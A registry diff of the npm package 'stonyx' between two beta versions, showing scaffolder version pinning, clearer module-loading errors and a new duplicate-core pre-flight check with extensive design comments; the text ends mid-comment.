stonyx 0.2.3-beta.96 → 0.2.3-beta.98
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli/new.d.ts +47 -1
- package/dist/cli/new.js +135 -6
- package/dist/modules.js +113 -20
- package/dist/util/duplicate-core.d.ts +186 -0
- package/dist/util/duplicate-core.js +377 -0
- package/package.json +1 -1
package/dist/cli/new.d.ts
CHANGED
|
@@ -4,8 +4,49 @@ interface ModuleOption {
|
|
|
4
4
|
dirs?: string[];
|
|
5
5
|
files?: Record<string, () => string>;
|
|
6
6
|
}
|
|
7
|
+
export declare const MODULE_OPTIONS: ModuleOption[];
|
|
7
8
|
export declare function generateDbSchema(): string;
|
|
8
|
-
|
|
9
|
+
/**
|
|
10
|
+
* The version of the `stonyx` package running this generator, read from its own
|
|
11
|
+
* `package.json` at call time.
|
|
12
|
+
*
|
|
13
|
+
* Read rather than hardcoded on purpose: a literal would be correct on the day
|
|
14
|
+
* it was written and silently stale on every day after (abofs/stonyx#113).
|
|
15
|
+
*/
|
|
16
|
+
export declare function readCoreVersion(): string;
|
|
17
|
+
/**
|
|
18
|
+
* The npm dist-tag naming the release line a version belongs to:
|
|
19
|
+
* `0.2.3-beta.96` -> `beta`, `0.2.3-alpha.4` -> `alpha`, `0.2.2` -> `latest`.
|
|
20
|
+
*
|
|
21
|
+
* Every scaffolded `@stonyx/*` module is requested on the same line as the core
|
|
22
|
+
* that scaffolded it, so the generated project cannot mix a prerelease core with
|
|
23
|
+
* modules from the stable line (or the reverse).
|
|
24
|
+
*
|
|
25
|
+
* Throws, rather than guessing, when the prerelease identifier is not usable as a
|
|
26
|
+
* dist-tag. Returning it verbatim was only safe for *alphabetic* identifiers: npm
|
|
27
|
+
* parses a numeric or wildcard identifier as a version **range**, so `0.2.3-0`
|
|
28
|
+
* emitted `"0"` and `0.2.3-x` emitted `"x"`, both of which install with rc=0 and
|
|
29
|
+
* silently resolve the module's `latest` release -- for `@stonyx/orm` that is
|
|
30
|
+
* `0.3.1`, which pins `stonyx@0.2.3-beta.11` and so reproduces abofs/stonyx#113
|
|
31
|
+
* through a different door, with no error. `0.2.3-0` is reachable from this
|
|
32
|
+
* repo's own `publish.yml` `custom-version` dispatch input, which accepts any
|
|
33
|
+
* semver string and also expands the keyword `prerelease` to `x.y.z-0`.
|
|
34
|
+
*
|
|
35
|
+
* Two bounds remain, both loud rather than silent:
|
|
36
|
+
*
|
|
37
|
+
* - An alphabetic identifier is assumed to also be a published dist-tag name.
|
|
38
|
+
* True for `beta` and `alpha`, the only two lines the fleet publishes; a core
|
|
39
|
+
* released as e.g. `0.2.3-rc.1` with no `rc` dist-tag scaffolds an unresolvable
|
|
40
|
+
* module specifier, which fails `pnpm install` with
|
|
41
|
+
* `ERR_PNPM_NO_MATCHING_VERSION`. The tag has to exist on every package in
|
|
42
|
+
* `MODULE_OPTIONS`, not only on the core.
|
|
43
|
+
* - On the stable line this returns `latest`, the correct tag for that line -- but
|
|
44
|
+
* only useful once the *modules* have advanced their own `latest` tags. Today
|
|
45
|
+
* `@stonyx/orm@latest` is `0.3.1` and pins `stonyx@0.2.3-beta.11`, so the module
|
|
46
|
+
* `latest` tags must advance before the core's does (abofs/stonyx#115).
|
|
47
|
+
*/
|
|
48
|
+
export declare function releaseTagFor(version: string): string;
|
|
49
|
+
export declare function generatePackageJson(name: string, selectedModules: ModuleOption[], coreVersion?: string): string;
|
|
9
50
|
export declare function generateAppTs(): string;
|
|
10
51
|
export declare function generateEnvironmentTs(): string;
|
|
11
52
|
export declare function generateTestEnvironmentTs(): string;
|
|
@@ -14,6 +55,11 @@ export declare function generateZzExitTestTs(): string;
|
|
|
14
55
|
export declare function generateEnvironmentExampleTs(): string;
|
|
15
56
|
export declare function generateGitignore(): string;
|
|
16
57
|
export declare function generateTsConfig(): string;
|
|
58
|
+
/**
|
|
59
|
+
* Rejects when `pnpm install` fails, either by exiting non-zero or by failing to
|
|
60
|
+
* spawn. Exported so the rejection path is testable without a network round-trip.
|
|
61
|
+
*/
|
|
62
|
+
export declare function runPnpmInstall(projectDir: string): Promise<void>;
|
|
17
63
|
/**
|
|
18
64
|
* Write every scaffolded file to disk given a resolved project directory,
|
|
19
65
|
* app name, and pre-selected module options. Factored out of `newCommand`
|
package/dist/cli/new.js
CHANGED
|
@@ -1,9 +1,10 @@
|
|
|
1
1
|
import { confirm, prompt } from '@stonyx/utils/prompt';
|
|
2
2
|
import { createFile, createDirectory, copyFile, fileExists } from '@stonyx/utils/file';
|
|
3
3
|
import { spawn } from 'child_process';
|
|
4
|
+
import { readFileSync } from 'fs';
|
|
4
5
|
import path from 'path';
|
|
5
6
|
import { fileURLToPath } from 'url';
|
|
6
|
-
const MODULE_OPTIONS = [
|
|
7
|
+
export const MODULE_OPTIONS = [
|
|
7
8
|
{
|
|
8
9
|
question: 'Will this project need a REST server?',
|
|
9
10
|
package: '@stonyx/rest-server',
|
|
@@ -48,15 +49,128 @@ export default class DBModel extends Model {
|
|
|
48
49
|
}
|
|
49
50
|
`;
|
|
50
51
|
}
|
|
51
|
-
|
|
52
|
+
/**
|
|
53
|
+
* The npm dist-tag that points at a package's stable release line. Only ever
|
|
54
|
+
* used as a *release line* selector for `@stonyx/*` modules (see
|
|
55
|
+
* `releaseTagFor`) -- never as the specifier for the core, which is always
|
|
56
|
+
* pinned exactly.
|
|
57
|
+
*/
|
|
58
|
+
const STABLE_DIST_TAG = 'latest';
|
|
59
|
+
/** Absolute path to this package's own root, from both `src/` and `dist/`. */
|
|
60
|
+
const packageRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..', '..');
|
|
61
|
+
/** A full semver version: `major.minor.patch`, optional prerelease, optional build. */
|
|
62
|
+
const SEMVER = /^\d+\.\d+\.\d+(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?$/;
|
|
63
|
+
/**
|
|
64
|
+
* A string npm accepts as a *dist-tag* and never reinterprets as a version range.
|
|
65
|
+
* npm requires a tag to be non-numeric, and `x`/`X` are semver wildcards rather
|
|
66
|
+
* than tag names, so both are rejected in `releaseTagFor`.
|
|
67
|
+
*/
|
|
68
|
+
const DIST_TAG = /^[A-Za-z][0-9A-Za-z-]*$/;
|
|
69
|
+
/**
|
|
70
|
+
* Rejects any version this generator must not emit.
|
|
71
|
+
*
|
|
72
|
+
* `readCoreVersion` used to check only that the field was a non-empty string, so
|
|
73
|
+
* `"garbage"`, `"0.2"` and `"latest"` all flowed through to the manifest verbatim
|
|
74
|
+
* and made `releaseTagFor` fall through to `latest` -- the one specifier
|
|
75
|
+
* abofs/stonyx#113 exists to stop emitting.
|
|
76
|
+
*/
|
|
77
|
+
function assertVersionShape(version, source) {
|
|
78
|
+
if (typeof version !== 'string' || !version) {
|
|
79
|
+
throw new Error(`Could not read the stonyx version from ${source}`);
|
|
80
|
+
}
|
|
81
|
+
if (!SEMVER.test(version)) {
|
|
82
|
+
throw new Error(`The stonyx version from ${source} is not a semver version: "${version}"`);
|
|
83
|
+
}
|
|
84
|
+
}
|
|
85
|
+
/**
|
|
86
|
+
* The version of the `stonyx` package running this generator, read from its own
|
|
87
|
+
* `package.json` at call time.
|
|
88
|
+
*
|
|
89
|
+
* Read rather than hardcoded on purpose: a literal would be correct on the day
|
|
90
|
+
* it was written and silently stale on every day after (abofs/stonyx#113).
|
|
91
|
+
*/
|
|
92
|
+
export function readCoreVersion() {
|
|
93
|
+
const manifest = path.join(packageRoot, 'package.json');
|
|
94
|
+
const raw = readFileSync(manifest, 'utf8');
|
|
95
|
+
const version = JSON.parse(raw).version;
|
|
96
|
+
assertVersionShape(version, manifest);
|
|
97
|
+
return version;
|
|
98
|
+
}
|
|
99
|
+
/**
|
|
100
|
+
* The npm dist-tag naming the release line a version belongs to:
|
|
101
|
+
* `0.2.3-beta.96` -> `beta`, `0.2.3-alpha.4` -> `alpha`, `0.2.2` -> `latest`.
|
|
102
|
+
*
|
|
103
|
+
* Every scaffolded `@stonyx/*` module is requested on the same line as the core
|
|
104
|
+
* that scaffolded it, so the generated project cannot mix a prerelease core with
|
|
105
|
+
* modules from the stable line (or the reverse).
|
|
106
|
+
*
|
|
107
|
+
* Throws, rather than guessing, when the prerelease identifier is not usable as a
|
|
108
|
+
* dist-tag. Returning it verbatim was only safe for *alphabetic* identifiers: npm
|
|
109
|
+
* parses a numeric or wildcard identifier as a version **range**, so `0.2.3-0`
|
|
110
|
+
* emitted `"0"` and `0.2.3-x` emitted `"x"`, both of which install with rc=0 and
|
|
111
|
+
* silently resolve the module's `latest` release -- for `@stonyx/orm` that is
|
|
112
|
+
* `0.3.1`, which pins `stonyx@0.2.3-beta.11` and so reproduces abofs/stonyx#113
|
|
113
|
+
* through a different door, with no error. `0.2.3-0` is reachable from this
|
|
114
|
+
* repo's own `publish.yml` `custom-version` dispatch input, which accepts any
|
|
115
|
+
* semver string and also expands the keyword `prerelease` to `x.y.z-0`.
|
|
116
|
+
*
|
|
117
|
+
* Two bounds remain, both loud rather than silent:
|
|
118
|
+
*
|
|
119
|
+
* - An alphabetic identifier is assumed to also be a published dist-tag name.
|
|
120
|
+
* True for `beta` and `alpha`, the only two lines the fleet publishes; a core
|
|
121
|
+
* released as e.g. `0.2.3-rc.1` with no `rc` dist-tag scaffolds an unresolvable
|
|
122
|
+
* module specifier, which fails `pnpm install` with
|
|
123
|
+
* `ERR_PNPM_NO_MATCHING_VERSION`. The tag has to exist on every package in
|
|
124
|
+
* `MODULE_OPTIONS`, not only on the core.
|
|
125
|
+
* - On the stable line this returns `latest`, the correct tag for that line -- but
|
|
126
|
+
* only useful once the *modules* have advanced their own `latest` tags. Today
|
|
127
|
+
* `@stonyx/orm@latest` is `0.3.1` and pins `stonyx@0.2.3-beta.11`, so the module
|
|
128
|
+
* `latest` tags must advance before the core's does (abofs/stonyx#115).
|
|
129
|
+
*/
|
|
130
|
+
export function releaseTagFor(version) {
|
|
131
|
+
// Fail closed, not open. Without this the exported function still answered
|
|
132
|
+
// `latest` for `"garbage"`, `"0.2"`, `""` and `"latest"` itself -- the same
|
|
133
|
+
// fall-through-to-`latest` shape this change exists to remove, one level down
|
|
134
|
+
// from the emission path that `generatePackageJson` already guards.
|
|
135
|
+
assertVersionShape(version, 'the supplied version');
|
|
136
|
+
const prerelease = /^\d+\.\d+\.\d+-(.*)$/.exec(version);
|
|
137
|
+
if (!prerelease)
|
|
138
|
+
return STABLE_DIST_TAG;
|
|
139
|
+
const identifier = prerelease[1].split('.')[0];
|
|
140
|
+
if (!DIST_TAG.test(identifier) || /^[xX]$/.test(identifier)) {
|
|
141
|
+
throw new Error(`Cannot derive a dist-tag from the prerelease identifier "${identifier}" in version "${version}": ` +
|
|
142
|
+
'npm reads it as a version range, not a tag.');
|
|
143
|
+
}
|
|
144
|
+
if (identifier === STABLE_DIST_TAG) {
|
|
145
|
+
throw new Error(`A prerelease core must not request modules at "${STABLE_DIST_TAG}" (version "${version}").`);
|
|
146
|
+
}
|
|
147
|
+
return identifier;
|
|
148
|
+
}
|
|
149
|
+
export function generatePackageJson(name, selectedModules, coreVersion = readCoreVersion()) {
|
|
150
|
+
// Resolved first, before anything is emitted, and unconditionally -- deliberately
|
|
151
|
+
// not inside the module loop below. `releaseTagFor` asserts the version's shape as
|
|
152
|
+
// its first act, so this one call is also what stops an injected non-semver
|
|
153
|
+
// `coreVersion` from reaching the manifest verbatim.
|
|
154
|
+
//
|
|
155
|
+
// A second `assertVersionShape(coreVersion, ...)` stood at the top of this function
|
|
156
|
+
// until abofs/stonyx#118's review: deleting it left the suite green, because this
|
|
157
|
+
// call already rejects the same value on every path. It was removed rather than
|
|
158
|
+
// left as decoration. The invariant that replaces it is positional -- keep this
|
|
159
|
+
// call above the emission and the guard stays load-bearing; push it under an
|
|
160
|
+
// `if (selectedModules.length)` and the core becomes unvalidated again.
|
|
161
|
+
const moduleTag = releaseTagFor(coreVersion);
|
|
162
|
+
// The framework is a runtime dependency of the application, pinned exactly to
|
|
163
|
+
// the core that generated the project.
|
|
164
|
+
const dependencies = { stonyx: coreVersion };
|
|
52
165
|
const devDependencies = {
|
|
53
166
|
qunit: '^2.24.1',
|
|
54
|
-
stonyx: 'latest',
|
|
55
167
|
tsx: '^4.21.0',
|
|
56
168
|
typescript: '^5.8.3'
|
|
57
169
|
};
|
|
170
|
+
// Modules are discovered from devDependencies (see docs/modules.md), and are
|
|
171
|
+
// requested on the core's own release line rather than at `latest`.
|
|
58
172
|
for (const mod of selectedModules) {
|
|
59
|
-
devDependencies[mod.package] =
|
|
173
|
+
devDependencies[mod.package] = moduleTag;
|
|
60
174
|
}
|
|
61
175
|
// Sort dependencies alphabetically
|
|
62
176
|
const sorted = Object.fromEntries(Object.entries(devDependencies).sort(([a], [b]) => a.localeCompare(b)));
|
|
@@ -71,6 +185,7 @@ export function generatePackageJson(name, selectedModules) {
|
|
|
71
185
|
start: 'stonyx serve',
|
|
72
186
|
test: "NODE_ENV=test node --import tsx/esm --import ./test/setup.ts node_modules/qunit/bin/qunit.js 'test/**/*-test.ts'"
|
|
73
187
|
},
|
|
188
|
+
dependencies,
|
|
74
189
|
devDependencies: sorted
|
|
75
190
|
}, null, 2) + '\n';
|
|
76
191
|
}
|
|
@@ -191,7 +306,11 @@ export function generateTsConfig() {
|
|
|
191
306
|
exclude: ['node_modules', 'test']
|
|
192
307
|
}, null, 2) + '\n';
|
|
193
308
|
}
|
|
194
|
-
|
|
309
|
+
/**
|
|
310
|
+
* Rejects when `pnpm install` fails, either by exiting non-zero or by failing to
|
|
311
|
+
* spawn. Exported so the rejection path is testable without a network round-trip.
|
|
312
|
+
*/
|
|
313
|
+
export function runPnpmInstall(projectDir) {
|
|
195
314
|
return new Promise((resolve, reject) => {
|
|
196
315
|
const child = spawn('pnpm', ['install'], {
|
|
197
316
|
cwd: projectDir,
|
|
@@ -285,7 +404,17 @@ export default async function newCommand({ args }) {
|
|
|
285
404
|
await runPnpmInstall(projectDir);
|
|
286
405
|
}
|
|
287
406
|
catch (error) {
|
|
288
|
-
|
|
407
|
+
// `pnpm`'s own diagnostic already reached the terminal via stdio: 'inherit'.
|
|
408
|
+
// What used to be missing is the exit code: this catch discarded `error` and
|
|
409
|
+
// fell through to the success banner, so `stonyx new` announced success and
|
|
410
|
+
// exited 0 on a project with no node_modules -- loud to a human, silent to any
|
|
411
|
+
// supervisor, CI job or wrapper reading the status.
|
|
412
|
+
console.error(error instanceof Error ? error.message : String(error));
|
|
413
|
+
console.error(`\n✗ Project "${appName}" was created, but its dependencies are NOT installed.`);
|
|
414
|
+
console.error(`\n cd ${appName}`);
|
|
415
|
+
console.error(' pnpm install\n');
|
|
416
|
+
process.exitCode = 1;
|
|
417
|
+
return;
|
|
289
418
|
}
|
|
290
419
|
console.log(`\n✓ Project "${appName}" created successfully!`);
|
|
291
420
|
console.log(`\n cd ${appName}`);
|
package/dist/modules.js
CHANGED
|
@@ -5,7 +5,8 @@
|
|
|
5
5
|
import { readFile } from '@stonyx/utils/file';
|
|
6
6
|
import { kebabCaseToCamelCase } from '@stonyx/utils/string';
|
|
7
7
|
import { mergeObject } from '@stonyx/utils/object';
|
|
8
|
-
import { importConfig } from './util/import-config.js';
|
|
8
|
+
import { importConfig, CONFIG_NOT_FOUND_PREFIX, CONFIG_NOT_LOADABLE_PREFIX } from './util/import-config.js';
|
|
9
|
+
import { findForeignCores, duplicateCoreMessage } from './util/duplicate-core.js';
|
|
9
10
|
const modulePromises = {};
|
|
10
11
|
// Configure module-specific logging
|
|
11
12
|
function configureLog(chronicle, module, config) {
|
|
@@ -24,6 +25,55 @@ function initializeModule(moduleName, moduleClass, modules, initPromises) {
|
|
|
24
25
|
modulePromises[moduleName]?.resolve();
|
|
25
26
|
})());
|
|
26
27
|
}
|
|
28
|
+
function messageOf(error) {
|
|
29
|
+
return error instanceof Error ? error.message : String(error);
|
|
30
|
+
}
|
|
31
|
+
/**
|
|
32
|
+
* Why the old single catch had to go (abofs/stonyx#108, invariant I2).
|
|
33
|
+
*
|
|
34
|
+
* It spanned four distinct failure modes — config absent, config present and
|
|
35
|
+
* declined, config throwing, entry point failing — and collapsed all four into
|
|
36
|
+
* one fixed claim: `Stonyx modules with async loading must have a
|
|
37
|
+
* config/environment.js file`. In the reproduction #108 was filed over, BOTH
|
|
38
|
+
* facts in that sentence were false: the named file existed and imported
|
|
39
|
+
* cleanly with nine keys, and the module named was not the module that threw.
|
|
40
|
+
* The real error reached stderr only through a bare `console.error`, unlinked
|
|
41
|
+
* from the thrown one, so a programmatic supervisor — or any log aggregator
|
|
42
|
+
* that keeps the thrown message — lost the diagnosis entirely.
|
|
43
|
+
*
|
|
44
|
+
* `CONFIG_NOT_LOADABLE_PREFIX` was exported by abofs/stonyx#105 for exactly
|
|
45
|
+
* this branch and had zero non-test importers in `src/` until now; #116
|
|
46
|
+
* corrected the doc sentence and deliberately left the code here.
|
|
47
|
+
*
|
|
48
|
+
* NOT DONE, deliberately: #108's AC1 asks that a surviving config-file message
|
|
49
|
+
* be "guarded by an `existsSync` on the module's own config/environment.js".
|
|
50
|
+
* That guard could not fail. `importConfig` throws `CONFIG_NOT_FOUND_PREFIX`
|
|
51
|
+
* only after `existsSync` has already returned false for every extension it
|
|
52
|
+
* loads AND every extension it merely detects, so an `existsSync` re-check in
|
|
53
|
+
* this branch is true by construction — a check that cannot red, which is the
|
|
54
|
+
* defect family this cluster exists to remove. The branch is keyed on the
|
|
55
|
+
* loader's own outcome instead, and the literal string is gone from `src/`
|
|
56
|
+
* altogether, which is what the grep in that AC actually measures.
|
|
57
|
+
*
|
|
58
|
+
* SCOPE: this names which STEP failed and preserves the original verbatim. It
|
|
59
|
+
* does not diagnose WHY a module's own config threw, and it cannot tell a
|
|
60
|
+
* module that ships no config from one whose install was truncated.
|
|
61
|
+
*/
|
|
62
|
+
function describeConfigFailure(moduleName, configBasePath, error) {
|
|
63
|
+
const message = messageOf(error);
|
|
64
|
+
if (message.startsWith(CONFIG_NOT_FOUND_PREFIX)) {
|
|
65
|
+
return new Error(`Stonyx module "${moduleName}" carries the "stonyx-async" keyword, which requires it to ship ` +
|
|
66
|
+
`default configuration, and none is installed. Looked for ${configBasePath}.ts and ` +
|
|
67
|
+
`${configBasePath}.js. This file ships inside "${moduleName}" — a missing one is a truncated ` +
|
|
68
|
+
'or corrupted install of that module, not a mistake in this app\'s own config.', { cause: error });
|
|
69
|
+
}
|
|
70
|
+
if (message.startsWith(CONFIG_NOT_LOADABLE_PREFIX)) {
|
|
71
|
+
return new Error(`Stonyx module "${moduleName}" ships default configuration this Node runtime declined to ` +
|
|
72
|
+
`load. ${message}`, { cause: error });
|
|
73
|
+
}
|
|
74
|
+
return new Error(`Stonyx module "${moduleName}" failed while loading its default configuration from ` +
|
|
75
|
+
`${configBasePath}: ${message}`, { cause: error });
|
|
76
|
+
}
|
|
27
77
|
export default async function loadModules(config, rootPath, chronicle) {
|
|
28
78
|
const modules = [];
|
|
29
79
|
const initPromises = [];
|
|
@@ -39,13 +89,17 @@ export default async function loadModules(config, rootPath, chronicle) {
|
|
|
39
89
|
modulePromises[moduleName] = promise;
|
|
40
90
|
promise.ready = new Promise(resolve => promise.resolve = resolve);
|
|
41
91
|
}
|
|
42
|
-
//
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
92
|
+
// DISCOVERY, hoisted above the pre-flight.
|
|
93
|
+
//
|
|
94
|
+
// The pre-flight must check exactly what the loader loads, and no more.
|
|
95
|
+
// `@stonyx/*` is a NAME test, not a membership test: a scoped devDependency
|
|
96
|
+
// without the `stonyx-module` keyword is warned about and skipped below —
|
|
97
|
+
// never imported, never configured, incapable of registering anything on any
|
|
98
|
+
// singleton — and refusing to boot over its nested copy prescribed the MODULE
|
|
99
|
+
// AUTHOR's remedy to a package that is not a module and has no such
|
|
100
|
+
// obligation. #106 says the two predicates are different in as many words.
|
|
101
|
+
// So the keyword gate runs first and the pre-flight sees only real modules.
|
|
102
|
+
const discovered = [];
|
|
49
103
|
for (const moduleName of moduleDependencies) {
|
|
50
104
|
const modulePackage = await readFile(`${rootPath}/node_modules/${moduleName}/package.json`, { json: true, missingFileCallback: (_filePath) => {
|
|
51
105
|
console.warn(`Warning: Could not locate stonyx module: "${moduleName}". Module was not loaded`);
|
|
@@ -58,26 +112,65 @@ export default async function loadModules(config, rootPath, chronicle) {
|
|
|
58
112
|
console.warn(`Warning: Stonyx modules must contain the "stonyx-module" keyword. Module was not loaded`);
|
|
59
113
|
continue;
|
|
60
114
|
}
|
|
115
|
+
discovered.push({
|
|
116
|
+
name: moduleName,
|
|
117
|
+
dir: `${rootPath}/node_modules/${moduleName}`,
|
|
118
|
+
package: modulePackage,
|
|
119
|
+
keywords,
|
|
120
|
+
});
|
|
121
|
+
}
|
|
122
|
+
// Pre-flight: invariant I1, "one core". Before ANY module entry point is
|
|
123
|
+
// imported, because the point of the check is the module that would NOT
|
|
124
|
+
// throw — it would load, initialise, and register its hooks on a second
|
|
125
|
+
// singleton that nobody started. See src/util/duplicate-core.ts.
|
|
126
|
+
//
|
|
127
|
+
// It runs over every discovered module, SYNC AND ASYNC ALIKE. A sync module
|
|
128
|
+
// is never imported by the loader, so its second core never announces itself
|
|
129
|
+
// — which is exactly why the mechanism is a pre-flight and not a better
|
|
130
|
+
// catch. The consequence is that `stonyx-async` no longer decides whether a
|
|
131
|
+
// duplicate core is loud: both arms are refused here, by the same check,
|
|
132
|
+
// before the keyword is ever read. docs/modules.md documents that.
|
|
133
|
+
//
|
|
134
|
+
// `console.warn` for the inconclusive probes: fail-open is the policy, but
|
|
135
|
+
// "we could not check" must be distinguishable from "we checked and it is
|
|
136
|
+
// fine". This is the file's existing idiom for a non-fatal loader advisory.
|
|
137
|
+
const foreignCores = findForeignCores(discovered.map(({ name, dir }) => ({ name, dir })), undefined, message => console.warn(message));
|
|
138
|
+
if (foreignCores.length > 0)
|
|
139
|
+
throw new Error(duplicateCoreMessage(foreignCores));
|
|
140
|
+
// Standalone module configuration
|
|
141
|
+
if (Array.isArray(rootPackage.keywords) && rootPackage.keywords.includes('stonyx-module')) {
|
|
142
|
+
configureLog(chronicle, projectName, config);
|
|
143
|
+
const entryPoint = typeof rootPackage.main === 'string' ? rootPackage.main : '';
|
|
144
|
+
const { default: moduleClass } = await import(`${rootPath}/${entryPoint}`);
|
|
145
|
+
initializeModule(projectName, moduleClass, modules, initPromises);
|
|
146
|
+
}
|
|
147
|
+
for (const { name: moduleName, package: modulePackage, keywords } of discovered) {
|
|
61
148
|
if (!keywords.includes('stonyx-async')) {
|
|
62
149
|
modulePromises[moduleName].resolve();
|
|
63
150
|
continue;
|
|
64
151
|
}
|
|
152
|
+
// Load & Configure Async Modules
|
|
153
|
+
const configBasePath = `${rootPath}/node_modules/${moduleName}/config/environment`;
|
|
154
|
+
let moduleConfig;
|
|
155
|
+
try {
|
|
156
|
+
moduleConfig = await importConfig(configBasePath);
|
|
157
|
+
}
|
|
158
|
+
catch (error) {
|
|
159
|
+
throw describeConfigFailure(moduleName, configBasePath, error);
|
|
160
|
+
}
|
|
161
|
+
const module = kebabCaseToCamelCase(moduleName.split('/').pop() ?? moduleName);
|
|
162
|
+
const userConfig = config[module] || {};
|
|
163
|
+
const finalConfig = mergeObject(moduleConfig, userConfig);
|
|
164
|
+
config[module] = finalConfig;
|
|
165
|
+
// Configure module-specific logging
|
|
166
|
+
configureLog(chronicle, module, finalConfig);
|
|
167
|
+
const entryPath = `${rootPath}/node_modules/${moduleName}/${modulePackage.main}`;
|
|
65
168
|
try {
|
|
66
|
-
|
|
67
|
-
const moduleConfig = await importConfig(`${rootPath}/node_modules/${moduleName}/config/environment`);
|
|
68
|
-
const module = kebabCaseToCamelCase(moduleName.split('/').pop() ?? moduleName);
|
|
69
|
-
const userConfig = config[module] || {};
|
|
70
|
-
const finalConfig = mergeObject(moduleConfig, userConfig);
|
|
71
|
-
config[module] = finalConfig;
|
|
72
|
-
// Configure module-specific logging
|
|
73
|
-
configureLog(chronicle, module, finalConfig);
|
|
74
|
-
const entryPoint = modulePackage.main;
|
|
75
|
-
const { default: moduleClass } = await import(`${rootPath}/node_modules/${moduleName}/${entryPoint}`);
|
|
169
|
+
const { default: moduleClass } = await import(entryPath);
|
|
76
170
|
initializeModule(moduleName, moduleClass, modules, initPromises);
|
|
77
171
|
}
|
|
78
172
|
catch (error) {
|
|
79
|
-
|
|
80
|
-
throw new Error(`Stonyx modules with async loading must have a config/environment.js file with default configurations. Module "${moduleName}" failed to load.`);
|
|
173
|
+
throw new Error(`Stonyx module "${moduleName}" failed while importing its entry point ${entryPath}: ${messageOf(error)}`, { cause: error });
|
|
81
174
|
}
|
|
82
175
|
}
|
|
83
176
|
// Wait until all modules are initialized
|
|
@@ -0,0 +1,186 @@
|
|
|
1
|
+
/** A resolved `stonyx` package: where it physically is, and what version. */
|
|
2
|
+
export interface CorePackage {
|
|
3
|
+
/** Absolute, symlink-resolved package root (the directory holding package.json). */
|
|
4
|
+
root: string;
|
|
5
|
+
version: string;
|
|
6
|
+
}
|
|
7
|
+
export interface ForeignCore {
|
|
8
|
+
moduleName: string;
|
|
9
|
+
moduleCore: CorePackage;
|
|
10
|
+
runningCore: CorePackage;
|
|
11
|
+
}
|
|
12
|
+
/**
|
|
13
|
+
* Told when the probe could not reach a conclusion.
|
|
14
|
+
*
|
|
15
|
+
* FAIL-OPEN IS THE POLICY; SILENCE IS NOT. `findForeignCores` must never invent
|
|
16
|
+
* a boot failure out of an inconclusive probe — but "we could not check" has to
|
|
17
|
+
* be distinguishable from "we checked and it is fine", because the states that
|
|
18
|
+
* fail open are exactly the states in which a genuine second core is present
|
|
19
|
+
* and unreported. Measured on trees that DO carry a second core, each of these
|
|
20
|
+
* boots clean and silent while the control throws in the same run:
|
|
21
|
+
*
|
|
22
|
+
* - an interposed `dist/package.json`, so the running core cannot name itself
|
|
23
|
+
* - a nested `stonyx/package.json` that is not valid JSON
|
|
24
|
+
* - the same file at `chmod 000`
|
|
25
|
+
*
|
|
26
|
+
* A reporter can only write a line. It cannot change the outcome.
|
|
27
|
+
*/
|
|
28
|
+
export type InconclusiveReporter = (message: string) => void;
|
|
29
|
+
/**
|
|
30
|
+
* The directories ESM consults for a bare specifier, in the order it consults
|
|
31
|
+
* them: `<d>/node_modules` for every ancestor-or-self `d` of `fromDir`.
|
|
32
|
+
*
|
|
33
|
+
* THE RESOLVER BEING MODELLED IS ESM. `loadModules` reaches every module
|
|
34
|
+
* through `await import`, so the copy of `stonyx` a module "would import" is
|
|
35
|
+
* whatever ESM's PACKAGE_RESOLVE finds — not whatever CJS finds. This function
|
|
36
|
+
* is generated rather than filtered, and that is the fix for a defect in each
|
|
37
|
+
* direction.
|
|
38
|
+
*
|
|
39
|
+
* TOO WIDE, the previous defect. The candidates used to come from
|
|
40
|
+
* `require.resolve.paths`, which is the CJS walk FOLLOWED BY the CJS global
|
|
41
|
+
* folders — `NODE_PATH`, `~/.node_modules`, `~/.node_libraries`, the node
|
|
42
|
+
* prefix. ESM ignores every one of those, so honouring them invents a
|
|
43
|
+
* "duplicate" out of an ambient environment variable that the real import never
|
|
44
|
+
* consults. This workspace exports `NODE_PATH` at a different `stonyx`
|
|
45
|
+
* (abofs/stonyx#107), so that false positive is not hypothetical: it flips a
|
|
46
|
+
* tree that boots into a hard refusal. Generating the walk REMOVES that failure
|
|
47
|
+
* mode rather than screening for it — nothing here reads the environment, so
|
|
48
|
+
* there is no list to get the screen wrong on.
|
|
49
|
+
*
|
|
50
|
+
* TOO NARROW, and this one was a SILENT MISS. WHICH CJS ENUMERATION IS MEANT
|
|
51
|
+
* IS PART OF THE CLAIM, because the two are not the same set: the walk PROPER
|
|
52
|
+
* is `Module._nodeModulePaths`, and `require.resolve.paths` is that walk
|
|
53
|
+
* FOLLOWED BY the global folders of the paragraph above. It is the walk proper
|
|
54
|
+
* that never descends into a directory already named `node_modules`. **ESM's
|
|
55
|
+
* PACKAGE_RESOLVE has no such skip.** Measured with no `NODE_PATH` at all,
|
|
56
|
+
* from a module at `<app>/node_modules/@stonyx/x`:
|
|
57
|
+
*
|
|
58
|
+
* import.meta.resolve('stonyx') -> <app>/node_modules/node_modules/stonyx/main.js
|
|
59
|
+
* await import('stonyx') -> that copy
|
|
60
|
+
* require.resolve('stonyx') -> MODULE_NOT_FOUND
|
|
61
|
+
*
|
|
62
|
+
* A genuine second core there was missed silently. Worse, because ESM reaches
|
|
63
|
+
* the ancestor `<app>/node_modules` BEFORE `<app>`, that copy SHADOWS a correct
|
|
64
|
+
* local core at `<app>/node_modules/stonyx` while the pre-flight reported
|
|
65
|
+
* success — this file's own opening paragraph ("it loads, it initialises, it
|
|
66
|
+
* reports success, and its hooks silently never fire") surviving the check
|
|
67
|
+
* written to catch it. Isolating control, moving nothing but the directory: the
|
|
68
|
+
* same core at `<app>/node_modules/@stonyx/x/node_modules/stonyx` was REFUSED.
|
|
69
|
+
*
|
|
70
|
+
* THE SET DELTA, both directions and named per enumeration — node v24.13.0,
|
|
71
|
+
* from that same module dir. Against the WALK PROPER the difference is one
|
|
72
|
+
* directory and it is one-sided: `esm \ Module._nodeModulePaths` = exactly
|
|
73
|
+
* `<app>/node_modules/node_modules` (the miss above), and
|
|
74
|
+
* `Module._nodeModulePaths \ esm` = `[]`. Against `require.resolve.paths` the
|
|
75
|
+
* second direction is NOT empty and never was: `require.resolve.paths \ esm` =
|
|
76
|
+
* the three global folders (measured here: `~/.node_modules`,
|
|
77
|
+
* `~/.node_libraries` and the node prefix, all three absent on disk) PLUS one
|
|
78
|
+
